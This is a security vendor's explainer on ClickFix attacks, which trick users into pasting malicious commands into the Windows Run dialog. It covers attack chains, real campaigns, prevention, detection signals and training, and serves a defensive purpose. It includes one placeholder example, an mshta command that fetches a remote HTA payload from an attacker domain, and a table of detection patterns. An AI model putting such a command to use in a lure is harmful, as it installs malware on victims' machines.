Deception is moving at machine speed. Learn to keep pace.
Portal LoginSupportBlogContact
Search
Portal LoginSupportBlogContact
Search
Get a Demo
Start for Free
HomeCybersecurity 101
What Is ClickFix?

What Is ClickFix?

Written by: Brenda Buckman

Published: 11/2/2026

Hand holding a phone surrounded by glowing social media and user icons in neon hallway
ChatGPT logoChatGPTOpens in new tabClaude logoClaudeOpens in new tabPerplexity logoPerplexityOpens in new tabGoogle Gemini logoGoogle AIOpens in new tab
On This Page

ClickFix is a social engineering technique where attackers trick users into pasting and running a malicious command on their own computer—usually through a fake CAPTCHA, a fake browser error, or a fake software fix. No browser exploit is required. Instead, the attacker tricks the user into executing a malicious command themselves.

How does a ClickFix attack work?

ClickFix follows a simple, repeatable chain:

  1. Lure: A user lands on a compromised or fake website. The page displays what looks like a routine verification challenge, a browser error, or a software fix prompt. Common lures include fake Cloudflare checks, Google reCAPTCHA impersonators, and fake Microsoft 365 document viewers.
  2. Clipboard hijack: Behind the scenes, the page copies—or prompts the user to copy—a malicious command to the clipboard.
  3. Instruction: The page tells the user to press Win+R (Windows key + R) to open the Run dialog, then paste and hit Enter to "complete verification" or "fix the issue."
  4. Execution: The user pastes the command. Windows executes it. The command typically reaches out to an attacker-controlled server and downloads a malicious payload such as an infostealer, a remote access tool, or ransomware.

Because the user is the one who runs the command, ClickFix can bypass many traditional browser and email security controls. Modern endpoint detection and response (EDR) tools may still detect the resulting behavior, but often only after execution begins.

Related reading: How ClickFix variants like FileFix, TerminalFix, and DownloadFix work—and how to detect them

What is a fake CAPTCHA attack?

A fake CAPTCHA attack is the most common ClickFix delivery method. The attacker builds (or compromises) a webpage that displays what looks like a standard "Verify you are human" prompt—mimicking the design of Cloudflare Turnstile, Google reCAPTCHA, or similar services.

When the user clicks the verification button, the page secretly copies a command like PowerShell or mshta to their clipboard and then instructs them to:

  • Press Win+R to open the Windows Run dialog
  • Press Ctrl+V to paste
  • Press Enter to "complete the check"

They think they're proving they're human. What they're actually doing is running malware.

The reason fake CAPTCHA attacks work so well: they slot right into behavior users already do every day. Verification prompts feel routine. The urgency is low, the steps are brief, and there's no obvious red flag—until the damage is done.

What malware does ClickFix deliver?

ClickFix isn't tied to one payload. It's a delivery mechanism, and attackers use it to drop whatever serves their goal:

  • Infostealers — Lumma Stealer, Rhadamanthys, and MetaStealer are common payloads. They quietly harvest saved passwords, session cookies, cryptocurrency wallets, and browser data.
  • Remote access tools (RATs) — Attackers use RATs to maintain persistent access, enabling future data theft, lateral movement, or ransomware deployment.
  • Ransomware loaders — ClickFix is increasingly used as the first step in ransomware chains, giving attackers the foothold they need before deploying file encryption.

According to the Huntress 2026 Cyber Threat Report, ClickFix accounted for over 53% of all malware loader activity in 2025—making it the dominant initial access technique of the year, across more than four million monitored endpoints.

What is Windows Run dialog (Win+R) malware?

The Windows Run dialog—opened with Win+R—is a built-in Windows feature that lets you launch programs and execute commands directly. It's legitimately useful for IT administrators and power users.

ClickFix abuses it because:

  • It's available on every Windows machine.
  • It doesn't require administrative privileges to open.
  • Commands pasted into it execute with the current user's permissions.
  • The Run dialog provides a familiar and trusted path for launching commands, which can make malicious activity appear less suspicious to users.

When a user pastes a command like mshta https://[attacker-domain]/payload.hta into the Run dialog and presses Enter, Windows fetches and executes the attacker's script without any visible warning.

Some organizations have disabled the Win+R Run dialog entirely as a mitigation step—see the prevention section below for how.

Real-world ClickFix examples

The fake AnyDesk installer

Huntress researchers documented a case where a user searched online for AnyDesk—a legitimate remote desktop tool—and landed on a fake installer page. The page displayed a ClickFix prompt instructing the user to verify they were human before downloading. The command they pasted kicked off a multi-stage malware chain that ultimately delivered LummaC2 and Rhadamanthys infostealers, with the final payloads hidden inside PNG image files using steganography.

→ Read the full Huntress analysis: From a Fake AnyDesk Installer to MetaStealer

CrashFix: the browser that crashes on purpose

In early 2026, Huntress identified a ClickFix variant called CrashFix, tied to a threat actor group called KongTuke. Instead of a fake CAPTCHA, the lure was a malicious browser extension that impersonated the legitimate uBlock Origin Lite ad blocker. Once installed, it intentionally crashed the user's browser, then displayed a fake "fix" prompt—instructing the frustrated user to run a PowerShell command to resolve it. The command delivered ModeloRAT, a previously undocumented Python-based remote access tool that exclusively targeted domain-joined machines.

The victim was searching for an ad blocker when a malicious advertisement directed them to the fake extension. One bad ad, one accidental install, and a compromised machine.

→ Read the full Huntress analysis: Dissecting CrashFix

Malware buried in images

Huntress documented a ClickFix campaign that used steganography to hide its payloads inside ordinary-looking PNG files. After a user executed the initial ClickFix command, the malware fetched what appeared to be a normal image—but embedded in the pixel data were encrypted stages of LummaC2 and Rhadamanthys. No antivirus flagged the image. The decryption happened entirely in memory.

→ Read the full Huntress analysis: ClickFix Gets Creative: Malware Buried in Images

How do you prevent ClickFix attacks?

ClickFix prevention comes down to three layers: technical controls, configuration hardening, and user awareness.

Technical controls

  1. Use PowerShell Constrained Language Mode, application control (WDAC/AppLocker), and script logging. Execution policy can provide additional friction but should not be treated as a standalone security control.
  2. Block mshta.exe for non-admin users. Microsoft HTML Application Host (mshta.exe) is one of the most common ClickFix execution vectors—it can fetch and run remote scripts with a single command. Block it via AppLocker or Windows Defender Application Control.
  3. Enable Script Block Logging. This logs the full content of PowerShell commands before they execute, giving your security team visibility into ClickFix payloads even when they're obfuscated.
  4. Optional hardening measure: disable the Run dialog for standard users where operationally feasible. Use Group Policy to block access to the Run dialog for standard users. Navigate to User Configuration > Administrative Templates > Start Menu and Taskbar > Remove Run menu from Start Menu and enable the policy. Note: this won't affect IT admins who need it, but it removes the ClickFix chokepoint for everyone else.

Network controls

  1. Use DNS filtering. Many ClickFix payloads are fetched from newly registered or compromised domains. DNS filtering that blocks unknown or suspicious domains adds meaningful friction.
  2. Proxy and web filtering. Prevent direct outbound connections from mshta.exe, wscript.exe, and cscript.exe to external IP addresses.

Configuration hardening

  1. Apply the principle of least privilege. Standard users don't need admin rights. ClickFix commands run with the permissions of the logged-in user—limiting those permissions limits the blast radius.
  2. Disable clipboard access from browser tabs where possible. Some browsers support policies that restrict sites from writing to the clipboard without explicit user permission.

How do you detect ClickFix attacks?

Detection is harder than prevention because ClickFix uses legitimate Windows tools. But there are reliable signals to watch:

Detection Signal

What to Look For

mshta.exe spawning network connections

Any mshta.exe process making an outbound HTTP/S request

Run dialog followed by PowerShell

explorer.exe spawning powershell.exe with encoded commands, network retrieval activity, or unusual arguments

Encoded PowerShell commands

-EncodedCommand flag in PowerShell process arguments

wscript.exe or cscript.exe network activity

Script hosts making outbound calls to external IPs

Clipboard-pasted command strings

Commands fetching from external URLs with iex, IEX, Invoke-Expression

Unusual parent-child process chains

cmd.exe or powershell.exe spawned by unexpected parent processes

Huntress researchers recommend thinking in terms of chokepoints—places where any ClickFix variant must pass through regardless of how the lure looks. The command execution step is the most reliable one: something has to run, and something has to reach out to fetch the next stage. Monitoring those behaviors catches ClickFix campaigns even when the lure is brand new.

→ Huntress deep-dive on detection chokepoints: Don't Sweat ClickFix Techniques

Huntress Managed EDR monitors these behavioral signals across endpoints and surfaces ClickFix execution chains for response—even when the payload itself hasn't been seen before.

How do you mitigate a ClickFix infection?

If a user has already executed a ClickFix command, move fast:

  1. Isolate the endpoint from the network immediately. Most infostealers begin exfiltrating within minutes.
  2. Preserve memory if possible before rebooting—some ClickFix payloads run entirely in memory and won't leave artifacts on disk.
  3. Review process tree and network connections at the time of execution to understand what ran and where it connected.
  4. Reset all credentials accessible from that machine—browser-saved passwords, active session tokens, Microsoft 365 accounts, VPN credentials, and any shared credentials stored locally.
  5. Check for persistence mechanisms—scheduled tasks, registry Run keys, and startup folder entries are common ClickFix persistence methods.
  6. Notify affected downstream systems. If the machine was domain-joined, lateral movement may have already occurred. Check authentication logs for unusual activity from that account.
  7. Review Microsoft 365 sign-in logs if the user had an active session. Token theft via infostealer can result in account takeover without needing the user's password.

Huntress Managed ITDR monitors for post-compromise identity activity—like OAuth abuse and mailbox manipulation—that often follows a ClickFix infostealer infection.

How do you train employees to recognize ClickFix?

ClickFix is specifically designed to look like something normal. That's what makes user training so important—and so tricky. A standard "don't click suspicious links" message doesn't cover it. Users need to understand a new category of social engineering.

Effective ClickFix training teaches employees to recognize these specific patterns:

  • A CAPTCHA, browser verification page, or routine website should never require you to open Win+R and paste a command.
  • CAPTCHAs that have a follow-up step — Real verification prompts don't ask you to run a command afterward.
  • Browser errors with copy-and-paste instructions — Browsers don't self-diagnose with clipboard commands. If a webpage is guiding you through a "fix," it's a lure.
  • Pop-ups offering to fix a crash you just experienced — Especially if the crash felt sudden or unexpected (see CrashFix above).

Training works best when it's specific and scenario-based—not just a policy document. Show employees a screenshot of a real ClickFix lure. Walk them through what it's asking and why it's suspicious. Security awareness training that includes simulation exercises helps reinforce recognition before someone encounters the real thing.

Key message for every employee: If a webpage asks you to open Run, paste a command, and press Enter—stop. Close the tab. Tell IT.

How is ClickFix different from phishing?

Phishing

ClickFix

Primary vector

Email with malicious link or attachment

Compromised or fake webpage

User action required

Click a link or open a file

Open Run dialog, paste, press Enter

Technical exploit

Sometimes (macros, browser vulns)

None. Relies on living-off-the-land (LotL) commands executed entirely by the user.

Endpoint detection difficulty

Moderate

High (uses legitimate Windows tools)

Primary payload

Credential harvesting, malware download

Infostealers, RATs, ransomware loaders

Training coverage

Widely covered

Often missed in standard SAT programs

ClickFix isn't a replacement for phishing—attackers use both. But because ClickFix sidesteps most of the technical controls that phishing defense is built around, it fills the gaps that email security alone can't close.

ChatGPT logoChatGPTOpens in new tabClaude logoClaudeOpens in new tabPerplexity logoPerplexityOpens in new tabGoogle Gemini logoGoogle AIOpens in new tab
On This Page

FAQs

ClickFix isn't a specific piece of malware—it's a delivery technique. Attackers use it to trick users into running a command that then fetches infostealers, RATs, or ransomware. The payload varies by campaign; the social engineering method is what makes it ClickFix.

Yes. While ClickFix originally targeted Windows via the Run dialog, variants now target macOS by displaying fake Safari errors or unzipping utility issues. The page instructs users to open Spotlight Search, launch the Terminal application, and paste a malicious script—often forcing them to input their administrative credentials (sudo) to complete the execution.

Not reliably. Because the user executes the command through legitimate Windows tools like mshta.exe or PowerShell, many antivirus products don't flag the activity until a known-bad payload is identified. Behavioral detection—watching what processes do, not just what files look like—is more effective.

Very. According to Huntress data from over four million endpoints, ClickFix drove more than 53% of all malware loader activity in 2025. One Huntress Security Operations Analyst noted that if he went a single day without seeing a ClickFix attempt, he'd assume something was wrong with the monitoring.

ClearFake is a threat actor campaign that uses compromised websites to serve fake browser update prompts. ClickFix is the social engineering technique those campaigns often use—specifically the clipboard-and-paste execution method. ClearFake adopted ClickFix as its primary delivery mechanism starting in 2024.

Additional Resources

Protect What Matters

Secure endpoints, email, and employees with the power of our 24/7 SOC. Try Huntress for free and deploy in minutes to start fighting threats.
Try Huntress for Free